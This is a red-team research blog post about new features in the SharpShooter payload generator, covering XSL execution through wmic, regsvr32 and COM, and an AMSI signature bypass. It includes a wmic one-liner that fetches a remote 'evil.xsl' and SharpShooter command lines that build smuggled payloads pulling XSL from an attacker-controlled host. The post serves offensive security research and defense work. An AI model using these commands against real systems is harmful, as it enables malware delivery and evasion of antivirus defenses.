In April, we released our in-house payload generation tool SharpShooter to demonstrate the automation of some of the nuances in payload creation and evasion of defensive controls. This was generally well received by the community so we decided to release additional improvements and explore new concepts to further this research.
As expected, shortly after the initial release some vendors created signatures for the SharpShooter artefacts although to date still only 5/58 vendors statically detect the HTML smuggling file:
And 14/58 statically detected a vanilla SharpShooter HTA artefact on VirusTotal:
Some vendors such as Microsoft, created AMSI signatures for not only SharpShooter but DotNetToJScript in general, leading to the tool/technique to be proclaimed dead by @subTee:
However, AMSI is not yet widely supported so there should still be some mileage ?
This tweet from @Lee_Holmes summarises the adoption of AMSI across various antivirus vendors:
We’ve previously covered the frailties of AMSI, so will not deep dive in to it in this post, but focus on some of the new techniques we’ve added that directly circumvent AMSI without modification to the existing payloads.
Before diving directly in to our COM research and SharpShooter updates, let’s talk a little about the seeds that helped grow this work…
The Squiblydoo and Squiblytwo techniques previously discovered/documented by @subTee have gained significant exposure and we’ve successfully used them across a number of engagements. Squiblytwo in particular is interesting because wmic.exe is a binary widely used for administration and other tasks and as such more likely to be accessible in an application whitelisted environment. While effective, the Squiblydoo attack has become a favourite of threat actors and is often heavily signatures; keep an eye on @JohnLaTwc and @ItsReallyNick’s twitter feeds for #DailyScriptlet updates to see examples of where this is being caught.
Although script execution through XML StyleSheets has been a known vector for some time, the SquiblyTwo attack really brought this technique under closer scrutiny. In short, @subTee noted that the wmic.exe binary is able to process a XML StyleSheet from the command-line, making it a great one-liner to get code in to memory when combined with @tiraniddo’s DotNetToJScript tool.
In short, the technique relies on a one-liner similar to the following to retrieve a remotely hosted XSL file:
[code]wmic process get brief /format:”https://www.mdsec.co.uk/evil.xsl”[/code]
The XSL file allows execution of script in full trust, as shown below which will pop calc as a result:
Shortly after the SquiblyTwo release, we decided to update the internal version of SharpShooter to support both this and the Squiblydoo attacks.
Initially, the most obvious way achieve this was to replicate the execution of either wmic.exe or regsvr32.exe on the command-line and host a SharpShooter payload inside the XSL.
Given SharpShooter assumes script execution in full trust, we opted to implement a number of techniques to perform the one-liners using a COM interface, specifically we selected the following known COM primitives:
The idea was that SharpShooter would now create either a XSL or SCT hosted payload, and the script based payload would be a COM stager in either HTA, VBS, JS, WSF or similar formats, to execute either wmic.exe or regsvr32.exe. An example of how this would look using Etienne’s Outlook.CreateObject technique is:
This would then retrieve and execute a XSL file containing a standard SharpShooter payload hosted at the provided URL.
To generate this with v1.0 of SharpShooter, you can use a command similar to the following:
[code]python SharpShooter.py –stageless –dotnetver 2 –payload vbs –output foo –rawscfile ./x86payload.bin –smuggle –template mcafee –com outlook —awl wmic –awlurl http://192.168.2.8:8080/foo.xsl[/code]
By default this will invoke the 32-bit version of wmic.exe, therefore you should use x86 shellcode.
An example of this in action is shown below:
Having implemented SquiblyTwo in to SharpShooter, I had a bit of an epiphany… what if we could execute the XSL directly through COM rather than using a one-liner?
I then began to research ways in which we could achieve this, stumbling on the Microsoft.XMLDOM COM interface and specifically the transformNode method which after some experimentation revealed it could be used to execute both an inline (thanks to @gabemarshall for some pointers on nuances with inlining) and hosted stylesheets. To our knowledge, this is the first time this technique has been documented.
The resultant script looks something like this for a hosted payload:
The benefit of this technique is that you’re able to somewhat avoid some of the indicators associated with the wmic.exe and regsvr32.exe techniques, in particular there is no risk of being detected through command-line logging.
I implemented this technique in to SharpShooter and the payloads can be generated using the following new arguments:
[code]python SharpShooter.py –stageless –dotnetver 2 –payload vbs –output foo –rawscfile ./x64payload.bin –smuggle –template mcafee –com xslremote –awlurl http://192.168.2.8:8080/foo.xsl[/code]
The above example will generate a VBS file, using HTML smuggling that executes the XSL hosted in the provided URL; the embedded VBS would look similar to the following:
On first look we found that while this technique worked, it was still detected by the Windows Defender AMSI signature. However, a short investigation revealed this was relatively trivial to bypass by wrapping the executed SharpShooter payload inside a function and executing it through an XPath expression on the xsl:value-of element, for example:
The how and why this method of execution bypassed the Defender AMSI signature is not fully understood, and possibly the topic for another research project, however a video of the bypass is shown below:
This blog post was written by @domchell.